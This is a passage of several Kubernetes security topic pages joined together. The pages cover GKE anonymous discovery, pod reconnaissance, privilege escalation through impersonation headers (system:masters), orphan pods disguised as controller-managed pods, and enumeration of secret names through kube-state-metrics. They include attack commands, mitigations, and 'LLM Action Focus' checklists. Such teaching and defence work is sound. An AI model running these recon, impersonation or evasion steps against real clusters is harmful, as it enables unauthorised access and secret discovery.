"v1.35.3-gke.1993000", "gitCommit": "5cbe1541a0f17ef25efb657e79704019407257b3", "gitTreeState": "clean", "buildDate": "2026-03-15T02:00:32Z", "goVersion": "go1.25.7 X:boringcrypto", "compiler": "gc", "platform": "linux/amd64" } ``` The `-gke.1993000` suffix identifies the cluster as GKE and gives the GKE-specific patch number, which is a more precise version than the upstream Kubernetes minor alone. `emulationMinor` and `minCompatibilityMinor` further reveal which upstream versions the control plane is compatible with. This is useful for selecting CVEs that affect the actual binary, not just the advertised minor. ### Step 4: Enumerate installed API groups Requires Stage 2. `/apis` lists every API group registered on the API server. The presence of non-core groups indicates installed addons or operators. ```bash curl -sk "$API/apis" | jq -r '.groups[].name' | sort -u ``` ```output admissionregistration.k8s.io apiextensions.k8s.io apiregistration.k8s.io apps authentication.k8s.io authorization.k8s.io auto.gke.io autoscaling autoscaling.x-k8s.io batch certificates.k8s.io cloud.google.com coordination.k8s.io datalayer.gke.io discovery.k8s.io events.k8s.io flowcontrol.apiserver.k8s.io hub.gke.io internal.autoscaling.gke.io metrics.k8s.io monitoring.googleapis.com networking.gke.io networking.k8s.io node.gke.io node.k8s.io nodemanagement.gke.io policy rbac.authorization.k8s.io resource.k8s.io scheduling.k8s.io snapshot.storage.k8s.io storage.k8s.io warden.gke.io ``` The `auto.gke.io`, `datalayer.gke.io`, `hub.gke.io`, `internal.autoscaling.gke.io`, `networking.gke.io`, `node.gke.io`, `nodemanagement.gke.io`, and `warden.gke.io` groups together confirm the cluster is GKE. `monitoring.googleapis.com` indicates Google Managed Prometheus is enabled. `cloud.google.com` belongs to GKE ingress and BackendConfig support. Additional groups would appear here for Argo, Flux, Kyverno, Crossplane, Istio, or Tekton if installed. The absence of those groups is itself useful information, because it narrows the attacker's hypothesis about what controllers run in the cluster. ### Step 5: Read CRD schemas via OpenAPI Requires Stage 2. `/openapi/v2` returns the OpenAPI v2 schema for every resource the API server knows about, including CRDs from installed addons. The response is several megabytes of JSON. Filter for definitions tied to a specific group: ```bash curl -sk "$API/openapi/v2" \ | jq -r '.definitions | keys[]' \ | grep -E '^com\.googleapis\.monitoring' | sort -u ``` ```output com.googleapis.monitoring.v1.ClusterNodeMonitoring com.googleapis.monitoring.v1.ClusterPodMonitoring com.googleapis.monitoring.v1.ClusterRules com.googleapis.monitoring.v1.GlobalRules com.googleapis.monitoring.v1.OperatorConfig com.googleapis.monitoring.v1.PodMonitoring com.googleapis.monitoring.v1.Rules com.googleapis.monitoring.v1alpha1.ClusterPodMonitoring com.googleapis.monitoring.v1alpha1.ClusterRules com.googleapis.monitoring.v1alpha1.GlobalRules com.googleapis.monitoring.v1alpha1.OperatorConfig com.googleapis.monitoring.v1alpha1.PodMonitoring com.googleapis.monitoring.v1alpha1.Rules ``` The presence of `com.googleapis.monitoring.v1` and the coexisting `v1alpha1` resources confirms Google Managed Prometheus is installed and tells the attacker which API version pairs are served. This is useful for picking webhook bypass paths or for targeting `v1alpha1` resources that may not have the same admission validation as their stable counterparts. The full OpenAPI document also includes property-level schemas, field names, types, validation patterns, and `description` annotations. These often leak operator version hints, enum value sets that constrain attack payloads, and field deprecation markers that indicate the controller is mid-migration. `/openapi/v3` returns a paginated, per-group variant of the same information. > [!WARNING] > The OpenAPI document is the same one `kubectl` fetches from `/openapi/v3` at startup for client-side validation. A defender cannot tell from this request alone whether the caller intends benign client-side use or recon, which is why distinguishing `system:anonymous` callers from authenticated ones in the audit log is the actionable signal. ## Lab Setup To reproduce Stage 1 on a cluster currently in `LIMITED`, change the mode. This requires `roles/container.admin` or equivalent. It is a lab setup step, not part of the attack chain. ```bash gcloud container clusters update \ --zone= \ --anonymous-authentication-config=ENABLED ``` After the update propagates (typically under a minute), the probe from Step 2 returns the Stage 1 shape, with 200 on `/version` and health and 403 on the rest. To reproduce Stage 2, additionally bind `system:unauthenticated` to a discovery role. This is the misconfiguration the attack chain depends on. ```bash kubectl create clusterrolebinding lab-anon-discovery \ --clusterrole=system:discovery \ --group=system:unauthenticated ``` The probe from Step 2 then returns the Stage 2 shape, with 200 across all discovery endpoints. Remove the binding and revert the mode when done. ```bash kubectl delete clusterrolebinding lab-anon-discovery gcloud container clusters update \ --zone= \ --anonymous-authentication-config=LIMITED ``` ## Validation against a LIMITED cluster The probes above were validated against a stock GKE 1.35.3 cluster created via the default `gcloud container clusters create` flow, with `mode: LIMITED` and `enableInsecureBindingSystemUnauthenticated: true`. Cycling through LIMITED, ENABLED (Stage 1), and ENABLED plus the custom binding (Stage 2) produced the three probe shapes shown in Step 2. ```bash kubectl get clusterrolebinding system:public-info-viewer -o yaml ``` ```output roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: system:public-info-viewer subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: system:authenticated - apiGroup: rbac.authorization.k8s.io kind: Group name: system:unauthenticated ``` The binding includes `system:unauthenticated` as a subject because `enableInsecureBindingSystemUnauthenticated: true` preserves it. Under `LIMITED`, requests authenticated as anonymous are rejected before this binding is consulted. Under `ENABLED`, this binding alone grants only `/version` plus health, which is why Stage 1 does not include `/api` or `/apis`. ```bash kubectl get clusterrole system:public-info-viewer -o yaml ``` ```output rules: - nonResourceURLs: - /healthz - /livez - /readyz - /version - /version/ verbs: - get ``` The `system:discovery` ClusterRole grants `/api`, `/apis`, `/openapi`, `/openapi/*` in addition to the health and version paths, but by default it is bound only to `system:authenticated`, not to `system:unauthenticated`. A custom binding from `system:unauthenticated` to `system:discovery` is what completes the chain. ## Where ENABLED still shows up Three cluster classes carry this configuration today. 1. **Clusters created before the `LIMITED` default rollout.** The field did not exist, and behavior matched `ENABLED`. GKE does not retroactively change the mode on upgrade, so operators must explicitly update. 2. **Clusters where `mode: ENABLED` was set deliberately** to support an older controller, an external auth proxy, or a custom audit tool that relies on anonymous discovery. 3. **Clusters provisioned by IaC modules that hardcode `ENABLED`** because the module was written before the default changed. The cluster looks compliant on `gcloud container clusters describe` until someone reads the mode field specifically. Stage 2 is rarer in the wild than Stage 1, because adding a CRB to `system:unauthenticated` is an explicit RBAC change that an operator has to write. It appears most often when a team adapts a sample from an older Kubernetes tutorial that assumed `system:public-info-viewer` already covered the discovery roles, or when an unauthenticated tool (an external dashboard, a legacy CI probe) needs to read `/apis` without provisioning a service account. Probing cost is one HTTP request per candidate endpoint. The response code shape distinguishes the three cases in a single probe, so an attacker can sort a list of candidate clusters into LIMITED, Stage 1, and Stage 2 cheaply. ### Hiding Services from Enumeration HTML: https://kubernetes-security.cloud/topics/hiding-service-from-enumeration Markdown: https://kubernetes-security.cloud/topics/hiding-service-from-enumeration.md --- title: "Hiding Services from Enumeration" description: "Preventing internal service discovery by disabling automatic injection of service environment variables" category: "defensive" phase: null offensiveType: null impact: "Reduces the attack surface by hiding internal service endpoints from any pods" mitigation: - "Use DNS-based service discovery instead of environment variables" tools: [] mitreTechniques: [] kubernetesVersion: null createdAt: "2026-01-14T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Hiding Services from Enumeration - Category: defensive - Phase: N/A - Objective: Preventing internal service discovery by disabling automatic injection of service environment variables ### Action checklist ### Key commands - `env | grep _SERVICE_` - `kubectl exec -it nginx -- env | grep _SERVICE_` - `redis.default.svc.cluster.local` - `redis` --- By default, Kubernetes injects environment variables into every pod for each service in the same namespace. This behavior was originally designed to provide backward compatibility with Docker links, a legacy feature from early container orchestration. While convenient for simple deployments, this automatic injection creates a security concern since it makes service discovery trivial for anyone with access to a pod. When a pod starts, Kubernetes automatically creates environment variables following the pattern **{SERVICENAME}_SERVICE_HOST** and **{SERVICENAME}_SERVICE_PORT** for every service in the namespace: ```bash env | grep _SERVICE_ ``` ```output REDIS_SERVICE_HOST=10.109.0.45 REDIS_SERVICE_PORT=6379 MYSQL_SERVICE_HOST=10.109.0.82 MYSQL_SERVICE_PORT=3306 BACKEND_API_SERVICE_HOST=10.109.0.120 BACKEND_API_SERVICE_PORT=8080 ``` This passive reconnaissance technique requires no network scanning and cannot be detected by network monitoring tools. An attacker immediately knows what services exist and how to reach them. ## Disabling Service Links Set **enableServiceLinks: false** in your pod specification to prevent Kubernetes from injecting service environment variables: ```yaml apiVersion: v1 kind: Pod metadata: name: nginx spec: enableServiceLinks: false containers: - name: nginx image: nginx ``` After applying the configuration, verify that service environment variables are no longer injected: ```bash kubectl exec -it nginx -- env | grep _SERVICE_ ``` ```output KUBERNETES_SERVICE_HOST=10.96.0.1 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_PORT_HTTPS=443 ``` > [!NOTE] > Only the Kubernetes API service variables remain, as these are always injected regardless of the `enableServiceLinks` setting. With **enableServiceLinks: false**, applications should use DNS-based service discovery instead of environment variables. Kubernetes provides built-in DNS resolution for services: ```bash # Instead of using $REDIS_SERVICE_HOST # Use the DNS name directly redis.default.svc.cluster.local # Short form works within the same namespace redis ``` The DNS naming convention follows this pattern: | Format | Example | Scope | |--------|---------|-------| | `` | `redis` | Same namespace | | `.` | `redis.production` | Cross-namespace | | `..svc.cluster.local` | `redis.production.svc.cluster.local` | Fully qualified | DNS-based discovery is the recommended approach for several reasons. Service names are predictable and well-documented, there's no environment variable clutter, it works across namespaces when network policies allow. ## When to Disable Consider disabling service links when: - Applications use DNS for service discovery, making environment variables redundant - Namespaces contain many services, which increases pod startup time due to environment variable injection - Following the principle of least privilege by exposing only necessary information to pods ## Limitations Keep in mind that disabling **enableServiceLinks** is one layer of defense, not a complete solution. An attacker can still: - **DNS resolution** remains available for service discovery since CoreDNS resolves `..svc.cluster.local` for any valid service name - **Network connectivity** to other pods is still allowed unless restricted by NetworkPolicy resources - **Kubernetes API access** can list services via `kubectl get services` if the service account has the `list` verb on services resources ### Internal Cluster Discovery HTML: https://kubernetes-security.cloud/topics/internal-cluster-discovery Markdown: https://kubernetes-security.cloud/topics/internal-cluster-discovery.md --- title: "Internal Cluster Discovery" description: "Techniques for discovering available services, APIs, and potential attack vectors within a Kubernetes cluster" category: "offensive" phase: "reconnaissance" offensiveType: "reconnaissance" impact: "Reveals exposed APIs, misconfigurations, and internal services that can be leveraged for Lateral Movement" mitigation: - "Implement network policies to restrict pod-to-pod communication, please refer to [K07: Missing Network Segmentation Controls](https://github.com/OWASP/www-project-kubernetes-top-ten/blob/main/2022/en/src/K07-network-segmentation.md)" - "Block access to cloud metadata endpoints" - "Use runtime security to detect reconnaissance activity" tools: - "kube-hunter" mitreTechniques: - "T1046" - "T1613" kubernetesVersion: null createdAt: "2026-01-13T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Discovering Kubernetes Version - Category: offensive - Phase: Reconnaissance - Objective: Techniques for discovering available services, APIs, and potential attack vectors within a Kubernetes cluster ### Action checklist - **Cross-namespace services** in privileged namespaces like **kube-system** may expose dashboards or monitoring tools. - **Cloud metadata endpoints** can expose IAM credentials for lateral movement to cloud resources. - **Overly permissive service accounts** with broad RBAC permissions that can be used for privilege escalation. - **Exposed internal services** such as databases, caches, or message queues that may lack authentication within the cluster network. ### Key commands - `curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version` - `env | grep KUBERNETES` - `env | grep _SERVICE_` --- After gaining initial access to a pod, the first step is reconnaissance. This involves discovering what services, APIs, and resources are accessible from within the cluster to identify potential paths for Lateral Movement and Privilege Escalation. From a compromised pod, manual reconnaissance with built-in tools tends to be the most reliable. Most container images come with basic networking utilities, or you can fall back on shell built-ins. ## Manual reconnaissance ### Discovering Kubernetes Version Identifying the Kubernetes version is part of gathering information that may be useful for further actions. The `/version` endpoint is often accessible without authentication and reveals detailed version information. ```bash curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version ``` ```output { "major": "1", "minor": "33", "emulationMajor": "1", "emulationMinor": "33", "minCompatibilityMajor": "1", "minCompatibilityMinor": "32", "gitVersion": "v1.33.5-gke.2019000", "gitCommit": "f9258cc6e54c0405e3519fa292c8287dddf0cf2d", "gitTreeState": "clean", "buildDate": "2025-12-01T04:21:38Z", "goVersion": "go1.24.6 X:boringcrypto", "compiler": "gc", "platform": "linux/amd64" } ``` > [!NOTE] > The `gitVersion` field can reveal the cloud provider, such as `gke` for Google Kubernetes Engine or `eks` for Amazon EKS. Knowing the exact Kubernetes version allows attackers to search for known CVEs and exploits specific to that version. ### Discovering the API Server The Kubernetes API server address is automatically injected into every pod through environment variables: ```bash env | grep KUBERNETES ``` ```output KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_PORT=443 ...[SNIP]... KUBERNETES_PORT_443_TCP ...[SNIP]... KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.109.0.1 KUBERNETES_SERVICE_HOST=10.109.0.1 KUBERNETES_PORT=tcp://10.109.0.1:443 KUBERNETES_PORT_443_TCP_PORT=443 ...[SNIP]... ``` ### Discovering Other Pod Services This technique is completely passive and generates no network traffic. Kubernetes automatically injects environment variables for every service in the same namespace at pod creation time. Since this only reads local environment variables, it cannot be detected by network monitoring or intrusion detection systems, unless runtime security tools are monitoring for suspicious command execution. The naming pattern follows **{SERVICENAME}_SERVICE_HOST** and **{SERVICENAME}_SERVICE_PORT**: ```bash env | grep _SERVICE_ ``` ```output REDIS_SERVICE_HOST=10.109.0.45 REDIS_SERVICE_PORT=6379 MYSQL_SERVICE_HOST=10.109.0.82 MYSQL_SERVICE_PORT=3306 BACKEND_API_SERVICE_HOST=10.109.0.120 BACKEND_API_SERVICE_PORT=8080 KUBERNETES_SERVICE_HOST=10.109.0.1 KUBERNETES_SERVICE_PORT=443 ``` Each service exposes additional environment variables with below details: | Pattern | Description | |---------|-------------| | `{NAME}_SERVICE_HOST` | ClusterIP address of the service | | `{NAME}_SERVICE_PORT` | Primary port of the service | | `{NAME}_PORT` | Full URL (e.g., tcp://10.109.0.45:6379) | | `{NAME}_PORT_{PORT}_TCP_ADDR` | IP address for specific port | | `{NAME}_PORT_{PORT}_TCP_PORT` | Port number | | `{NAME}_PORT_{PORT}_TCP_PROTO` | Protocol (tcp/udp) | This reveals internal services that may be interesting targets such as databases (mysql, postgres, redis, mongodb), message queues (rabbitmq, kafka), and internal APIs. ## Automated Reconnaissance **kube-hunter** simplifies the reconnaissance process by automatically discovering Kubernetes components and checking for common misconfigurations. Rather than manually probing each endpoint, the tool scans for exposed APIs, weak authentication settings, and other security issues in a single run. > [!NOTE] > The tool requires Python and pip to install, which can be challenging in containerized environments where minimal images typically lack Python. ## What to Look For During reconnaissance, prioritize discovering: 1. **Cross-namespace services** in privileged namespaces like **kube-system** may expose dashboards or monitoring tools. 2. **Cloud metadata endpoints** can expose IAM credentials for lateral movement to cloud resources. 3. **Overly permissive service accounts** with broad RBAC permissions that can be used for privilege escalation. 4. **Exposed internal services** such as databases, caches, or message queues that may lack authentication within the cluster network. ### Kubernetes Impersonation HTML: https://kubernetes-security.cloud/topics/kubernetes-impersonation Markdown: https://kubernetes-security.cloud/topics/kubernetes-impersonation.md --- title: "Kubernetes Impersonation" description: "Abusing the impersonate verb and Impersonate-* headers so the API server authorizes requests as another user, group, or ServiceAccount" category: "offensive" phase: "privilege-escalation" offensiveType: "privilege-escalation" impact: "If you can impersonate, you don’t need someone else’s token. You can call the API as them, get to things your own account can’t, and it often looks like everyday cluster traffic." mitigation: - "Keep `impersonate` on `users`, `groups`, and `serviceaccounts` rare. Bind it with tight ClusterRoles and explicit subjects, not wide catch-all roles." - "Do not give `impersonate` to automation, CI, or namespace operators unless there is a clear need." - "Review ClusterRoles and ClusterRoleBindings for `impersonate`. Namespaced Roles cannot express impersonation the way people expect; mistakes usually show up as sloppy ClusterRoles instead." - "If you use time-limited elevation, keep the impersonation grant as narrow as the workflow allows." tools: [] mitreTechniques: - "T1078" kubernetesVersion: null createdAt: "2026-04-05T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Users - Category: offensive - Phase: Privilege Escalation - Objective: Abusing the impersonate verb and Impersonate-* headers so the API server authorizes requests as another user, group, or ServiceAccount ### Action checklist - The attacker signs in as a weak identity (stolen ServiceAccount token, leaked kubeconfig, and the like). - That identity has `impersonate` on `users`, `groups`, `serviceaccounts`, UIDs, or extras. - They send requests with impersonation headers. Authorization runs as the impersonated identity, not only as the weak identity. - They reach secrets, cluster objects, or namespaces the weak identity could not touch on its own, as long as the impersonated identity can. ### Key commands - `kubectl get serviceaccount default -n default -o jsonpath='{.metadata.uid}{"\n"}'` - `kubectl get pods -A -o custom-columns=NAME:.metadata.name,UID:.metadata.uid` - `kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}{"\n"}'` - `TOKEN=""` - `APISERVER="https://kubernetes.default.svc"` - `CACERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"` - `curl --cacert "$CACERT" "$APISERVER/api/v1/namespaces" \` - `-H "Authorization: Bearer $TOKEN" \` - `-H "Impersonate-User: arbitrary" \` - `-H "Impersonate-Group: system:masters"` --- Kubernetes can evaluate an API call as if another user, UID, group, or ServiceAccount made it. Admins use that with tools like `kubectl --as` and `--as-group`. The same mechanism turns offensive when `impersonate` is granted too broadly: an attacker with API access can ride a more privileged identity without ever touching its credentials. ## RBAC and the `impersonate` verb You need `impersonate` on whatever you are faking (`user`, `uid`, `group`, and so on). With the RBAC authorizer, those permissions live in rules against the core API group and `authentication.k8s.io`. Put only what you need in `resources`. One role might allow `impersonate` on `users` only; another might use `groups` or `serviceaccounts`. You do not have to list all of them. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: impersonator rules: - apiGroups: [""] resources: ["users", "groups"] verbs: ["impersonate"] ``` `resourceNames` narrows the rule to particular names (how the string looks depends on whether you are targeting a user, group, or ServiceAccount). If you leave `resourceNames` out, the rule applies to any name that matches the rest of the rule. UID impersonation uses `authentication.k8s.io`, resource `uids`. `resourceNames` lists the exact UID strings allowed. Those are the same values you send as `Impersonate-Uid` on the request. If you omit `resourceNames`, any UID that matches the rule is allowed. A concrete source for a sample value is any object’s `metadata.uid` (a UUID the API server assigned). For example, the ServiceAccount you care about has one UID: ```bash kubectl get serviceaccount default -n default -o jsonpath='{.metadata.uid}{"\n"}' ``` You might see the same class of string on a Pod, Namespace, or other resource: ```bash kubectl get pods -A -o custom-columns=NAME:.metadata.name,UID:.metadata.uid ``` Put that string into `resourceNames` and into `Impersonate-Uid` when you call the API. If you use an external IdP or a custom authenticator, the UID in `user.Info` might come from a token claim instead. In that case use whatever UID string your auth integration actually sets, not necessarily `metadata.uid` from an object. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: impersonator-uids rules: - apiGroups: ["authentication.k8s.io"] resources: ["uids"] resourceNames: [""] verbs: ["impersonate"] ``` Extras (claims that map under `userextras/...`) also live under `authentication.k8s.io`. The resource path depends on the extra key and your cluster version, so take the exact names from the docs for your release. ## Why ClusterRole and ClusterRoleBinding Impersonation has to be authorized with a ClusterRole plus ClusterRoleBinding. A namespaced Role plus RoleBinding is the wrong shape here. Roles are bound to a namespace. Users and groups in this RBAC check are not namespace objects, so you cannot spell “may impersonate this user” with a Role alone. ClusterRole rules are how you grant `impersonate` for identities that are not scoped to one namespace. ## `curl` and `Impersonate-*` headers `kubectl --as` sends the same headers as a normal HTTP client: `Authorization` with the caller’s token, plus any `Impersonate-*` headers your RBAC allows. One illustrative pair is `Impersonate-User: arbitrary` with `Impersonate-Group: system:masters` (only if your rules allow impersonating that group). Set `APISERVER` and `CACERT` to match how you reach the API: - In a pod, the API is usually `https://kubernetes.default.svc` and the pod’s CA file is `/var/run/secrets/kubernetes.io/serviceaccount/ca.crt`. - From your machine, print the API URL from kubeconfig and use it as `APISERVER`: ```bash kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}{"\n"}' ``` ```bash TOKEN="" APISERVER="https://kubernetes.default.svc" CACERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" curl --cacert "$CACERT" "$APISERVER/api/v1/namespaces" \ -H "Authorization: Bearer $TOKEN" \ -H "Impersonate-User: arbitrary" \ -H "Impersonate-Group: system:masters" ``` You can add `Impersonate-Uid` or `Impersonate-Extra-...` when RBAC covers those attributes. ## Cheatsheet RBAC uses virtual resource names for impersonation. The strings you put in `rules.resources` (and `rules.resourceNames`) depend on the attribute you impersonate: | `apiGroups` | `resources` (rule) | What `resourceNames` refers to | |-------------|-------------------|--------------------------------| | `""` | `users` | Usernames your cluster accepts (OIDC `sub`, cert CN, static token user, etc.). | | `""` | `groups` | Group names from your identity source (for example `system:masters`, OIDC groups). | | `""` | `serviceaccounts` | ServiceAccount binding; `resourceNames` uses the account name, with namespace coming from the RoleBinding when the rule is namespaced. | | `authentication.k8s.io` | `uids` | The exact UID string for `Impersonate-Uid` (often `metadata.uid` from an object, or a UID from your IdP). | | `authentication.k8s.io` | `userextras/` | Extra field keys (for example `userextras/scopes`). Exact suffix depends on version and config. | Use bindings to discover user and group strings. For ServiceAccounts, emit the `system:serviceaccount:namespace:name` form. For UID strings, read `metadata.uid` (see above) or copy the value your identity provider attaches to the user. ### Users ```bash kubectl get clusterrolebindings -o json | \ jq -r '.items[].subjects[]? | select(.kind=="User") | .name' kubectl get rolebindings -A -o json | \ jq -r '.items[].subjects[]? | select(.kind=="User") | .name' ``` ### Groups ```bash kubectl get clusterrolebindings -o json | \ jq -r '.items[].subjects[]? | select(.kind=="Group") | .name' kubectl get rolebindings -A -o json | \ jq -r '.items[].subjects[]? | select(.kind=="Group") | .name' ``` ### ServiceAccounts ```bash kubectl get serviceaccounts -A -o json | \ jq -r '.items[] | "system:serviceaccount:" + .metadata.namespace + ":" + .metadata.name' ``` ### UIDs Grab a sample from an object’s `metadata.uid`, or from your identity stack if that is what populates `user.Info` for your cluster: ```bash kubectl get serviceaccount default -n default -o jsonpath='{.metadata.uid}' kubectl get pods -A -o custom-columns=NAME:.metadata.name,UID:.metadata.uid ``` ## The attack sequence 1. The attacker signs in as a weak identity (stolen ServiceAccount token, leaked kubeconfig, and the like). 2. That identity has `impersonate` on `users`, `groups`, `serviceaccounts`, UIDs, or extras. 3. They send requests with impersonation headers. Authorization runs as the impersonated identity, not only as the weak identity. 4. They reach secrets, cluster objects, or namespaces the weak identity could not touch on its own, as long as the impersonated identity can. The API server still authenticates the real client. Authorization follows the impersonated subject. ### Orphan Pod Masquerading HTML: https://kubernetes-security.cloud/topics/orphan-pod-masquerading Markdown: https://kubernetes-security.cloud/topics/orphan-pod-masquerading.md --- title: "Orphan Pod Masquerading" description: "Creating orphan pods that mimic controller-managed naming conventions to blend in with legitimate workloads" category: "offensive" phase: "defense-evasion" offensiveType: "defense-evasion" impact: "Orphan pods disguised as controller-managed workloads can evade casual inspection and complicate incident response" mitigation: - "Verify pod ownership using `.metadata.ownerReferences`" - "Monitor for pods without valid owner references" tools: [] mitreTechniques: - "T1036" kubernetesVersion: null createdAt: "2026-01-15T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Identify the target naming pattern - Category: offensive - Phase: Defense Evasion - Objective: Creating orphan pods that mimic controller-managed naming conventions to blend in with legitimate workloads ### Action checklist - Step 1: Identify the target naming pattern - Step 2: Create the masquerading pod ### Key commands - `kubectl get pod nginx-5d6f7b8c9-x4k2m -o jsonpath='{.metadata.labels.pod-template-hash}'` --- An orphan pod is a pod without an owner reference, meaning it was created directly rather than by a controller like a **Deployment** or **DaemonSet**. Attackers can exploit this by creating orphan pods that mimic the naming conventions of controller-managed pods, making malicious workloads blend in during casual inspection. ## The attack sequence The attacker creates an orphan pod with a name matching controller-managed naming conventions to hide malicious workloads. ### Step 1: Identify the target naming pattern When a **Deployment** is created, Kubernetes generates a **ReplicaSet** with a **pod-template-hash**, then the **ReplicaSet** creates Pods. The hash is computed using the **32-bit FNV-1** against the **PodTemplateSpec**, then encoded using `SafeEncodeString` to produce a 9-10 character alphanumeric string. The resulting Pod name follows the pattern **[deployment-name]-[hash]-[random]**: ``` nginx-5d6f7b8c9-x4k2m │ │ │ │ │ └── Random 5-character suffix │ └── Pod template hash (from ReplicaSet) └── Deployment name ``` The **pod-template-hash** is stored in **.metadata.labels.pod-template-hash**: ```bash kubectl get pod nginx-5d6f7b8c9-x4k2m -o jsonpath='{.metadata.labels.pod-template-hash}' ``` ```output 5d6f7b8c9 ``` ### Step 2: Create the masquerading pod An attacker can manually create a Pod that mimics this naming pattern: ```yaml apiVersion: v1 kind: Pod metadata: name: nginx-5d6f7b8c9-m4l1c labels: app: nginx pod-template-hash: 5d6f7b8c9 spec: containers: - name: nginx image: malicious ``` At first glance, this Pod appears to belong to the nginx Deployment. The name follows the expected pattern, and the labels match what you'd expect from a legitimate Pod. During a quick `kubectl get pods` review, this malicious Pod would blend in with the other nginx replicas, making it difficult to identify without deeper inspection. ## DaemonSet Naming **DaemonSets** create Pods directly without an intermediate **ReplicaSet**, making them another target for spoofing. Since DaemonSets run one Pod per node, an attacker might create a fake **DaemonSet** pod to blend in with system-level workloads like log collectors or monitoring agents. The naming pattern is **[daemonset-name]-[random]**: ``` fluentd-x7k9m │ │ │ └── Random 5-character suffix └── DaemonSet name ``` An attacker can create an orphan pod mimicking this pattern to blend in with monitoring or logging infrastructure that typically runs as DaemonSets. ## Legitimate Orphan Pods Not all orphan pods are malicious. Legitimate orphan pods exist in these cases: - Pods created directly using kubectl run with `--restart=Never` for debugging or one-time tasks - Pods created directly from pod manifests using `kubectl create -f pod.yaml` for testing or specific workloads ### Passive Secret Discovery via kube-state-metrics HTML: https://kubernetes-security.cloud/topics/passive-secret-discovery-via-kube-state-metrics Markdown: https://kubernetes-security.cloud/topics/passive-secret-discovery-via-kube-state-metrics.md --- title: "Passive Secret Discovery via kube-state-metrics" description: "Passively discovering secret names, namespaces, and metadata cluster-wide by querying the unauthenticated kube-state-metrics endpoint" category: "offensive" phase: "reconnaissance" offensiveType: "reconnaissance" impact: "Exposes every secret name, namespace, and type across the cluster by default. When label exposure is enabled, leaks Vault paths, sensitivity classification, owning team, and rotation policy for each secret" mitigation: - "Restrict network access to the kube-state-metrics Service using a **NetworkPolicy** that allows ingress only from the Prometheus server pod, not from arbitrary pods in the cluster" - "Avoid using wildcard values in **metricLabelsAllowlist** for sensitive resource types. Scope it to specific label keys on non-sensitive resources rather than applying it broadly across all secrets" - "Treat the kube-state-metrics endpoint as sensitive infrastructure. It should not be reachable from workload namespaces without explicit policy" - "Audit existing **metricLabelsAllowlist** configuration and remove secret label exposure if it is not required for active dashboards or alerting rules" tools: [] mitreTechniques: - "T1046" - "T1613" kubernetesVersion: null createdAt: "2026-04-11T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Typical service DNS names - Category: offensive - Phase: Reconnaissance - Objective: Passively discovering secret names, namespaces, and metadata cluster-wide by querying the unauthenticated kube-state-metrics endpoint ### Action checklist - Typical service DNS names ### Key commands - `env | grep KUBE_STATE` - `curl -s http://prometheus-kube-state-metrics.monitoring.svc.cluster.local:8080/metrics \` - `| grep "^kube_secret_info"` - `| grep "^kube_secret_type"` - `| grep "^kube_secret_labels"` --- kube-state-metrics is a service that converts Kubernetes object state into Prometheus metric series. It runs in the majority of production clusters as part of the standard Prometheus stack and exposes an HTTP metrics endpoint on port `8080` with no authentication required by default. Any pod that can reach this endpoint can query the full state of every monitored Kubernetes resource. This technique exploits the fact that kube-state-metrics exposes secret metadata as queryable metrics. An attacker inside the cluster can enumerate every secret name, namespace, and type across all namespaces without ever calling the Kubernetes API server, generating no audit events in the process. ## The attack sequence The attacker discovers the `kube-state-metrics` endpoint and queries it to enumerate secrets without touching the Kubernetes API. Impact depends on how kube-state-metrics is configured. | Configuration | What is exposed | Notes | | --- | --- | --- | | **Default** (no secret label allowlist) | Every secret’s **name**, **namespace**, and **type** cluster-wide | Works out of the box with no API calls. Typical **audit logs** on the API server do not reflect this enumeration. | | **`metricLabelsAllowlist` includes secrets** (e.g. `secrets=[*]`) | Default data **plus** **all labels** on each secret as metric dimensions | Often added for dashboards (cost, team, compliance). Also leaks paths like Vault references, sensitivity, rotation policy, and ownership if those exist as labels. | ## Discovering the kube-state-metrics Endpoint From inside a compromised pod, the kube-state-metrics Service is reachable via its cluster DNS name. The service is typically deployed in the same namespace as Prometheus and is discoverable via environment variable injection. > [!NOTE] > kube-state-metrics is usually installed with Prometheus. The metrics port is **`8080`** by default and the namespace is typically **`monitoring`** or **`observability`**. ### Typical service DNS names Replace `` with your Helm release name and `` with the install namespace. | Helm chart | Typical cluster DNS name | | --- | --- | | [prometheus-community/prometheus](https://github.com/prometheus-community/helm-charts/tree/main/charts/prometheus) | `-kube-state-metrics..svc.cluster.local` | | [kube-prometheus-stack](https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack) | `-kube-state-metrics..svc.cluster.local` | | [kube-state-metrics](https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-state-metrics) (standalone) | `-kube-state-metrics..svc.cluster.local` | ```bash env | grep KUBE_STATE ``` ```output PROMETHEUS_KUBE_STATE_METRICS_SERVICE_HOST=10.102.239.220 PROMETHEUS_KUBE_STATE_METRICS_SERVICE_PORT=8080 PROMETHEUS_KUBE_STATE_METRICS_PORT=tcp://10.102.239.220:8080 PROMETHEUS_KUBE_STATE_METRICS_PORT_8080_TCP=tcp://10.102.239.220:8080 PROMETHEUS_KUBE_STATE_METRICS_PORT_8080_TCP_ADDR=10.102.239.220 PROMETHEUS_KUBE_STATE_METRICS_PORT_8080_TCP_PORT=8080 PROMETHEUS_KUBE_STATE_METRICS_PORT_8080_TCP_PROTO=tcp ``` ## Enumerating All Secrets > [!TIP] > Applies to: **Default** The `kube_secret_info` metric exposes every secret name and namespace across the cluster: ```bash curl -s http://prometheus-kube-state-metrics.monitoring.svc.cluster.local:8080/metrics \ | grep 